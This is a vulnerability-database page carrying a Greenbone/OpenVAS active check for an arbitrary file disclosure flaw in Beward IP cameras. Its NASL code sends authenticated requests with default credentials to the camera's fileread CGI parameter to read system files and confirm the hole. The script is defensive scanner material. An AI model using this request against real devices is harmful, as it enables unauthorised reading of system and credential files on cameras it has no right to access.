Lucene search
+L

Beward IP Cameras Arbitrary File Disclosure Vulnerability (Feb 2019) - Active Check

🗓️ 18 Feb 2019 00:00:00Reported by Copyright (C) 2019 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 19 Views

Beward IP Cameras Arbitrary File Disclosure Vulnerability. Remote installation prone to post-authentication arbitrary file disclosure vulnerability. Exploitable to read any system file. Includes versions M2.1.6.04C014 and before. No known solution available

Refs
Code
# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.114073");
  script_version("2025-09-12T05:38:45+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:P/A:N");
  script_tag(name:"last_modification", value:"2025-09-12 05:38:45 +0000 (Fri, 12 Sep 2025)");
  script_tag(name:"creation_date", value:"2019-02-18 14:02:55 +0100 (Mon, 18 Feb 2019)");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2019 Greenbone AG");
  script_family("Web application abuses");
  script_name("Beward IP Cameras Arbitrary File Disclosure Vulnerability (Feb 2019) - Active Check");
  script_dependencies("gb_beward_ip_camera_consolidation.nasl",
                      "gb_beward_ip_cameras_default_credentials.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("beward/ip_camera/detected", "beward/ip_camera/credentials",
                        "Host/runs_unixoide");

  script_xref(name:"URL", value:"https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.php");

  script_tag(name:"summary", value:"The remote installation of Beward's IP camera software is prone
  to a post-authentication arbitrary file disclosure vulnerability.");

  script_tag(name:"impact", value:"This issue may be exploited by a remote attacker to
  read any system file.");

  script_tag(name:"insight", value:"Input passed via the 'READ.filePath' parameter in fileread
  script is not properly verified before being used to read files. This can be exploited to disclose
  the contents of arbitrary files via absolute path or via the SendCGICMD API.");

  script_tag(name:"vuldetect", value:"Checks if the host responds with a simple requested file.");

  script_tag(name:"affected", value:"At least versions M2.1.6.04C014 and before.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");

CPE = "cpe:/h:beward";

if(!info = get_app_port_from_cpe_prefix(cpe: CPE, service: "www"))
  exit(0);

CPE = info["cpe"];
port = info["port"];

if(!get_app_location(cpe: CPE, port: port, nofork: TRUE)) # nb: To have a reference to the Detection-VT
  exit(0);

creds = get_kb_list("beward/ip_camera/credentials");
if(!creds)
  exit(0);

files = traversal_files("linux");

foreach cred(creds) {

  foreach pattern(keys(files)) {

    file = files[pattern];

    url = "/cgi-bin/operator/fileread?READ.filePath=/" + file;

    req = http_get_req(port: port, url: url, add_headers: make_array("Accept-Encoding", "gzip, deflate",
                                                                     "Authorization", "Basic " + base64(str: cred)));
    res = http_keepalive_send_recv(port: port, data: req);

    if(egrep(string:res, pattern:pattern, icase:TRUE)) {
      report  = http_report_vuln_url(port: port, url: url);
      report += '\nUsed default credentials for the login and the sent request: (username:password)\n' + cred;
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation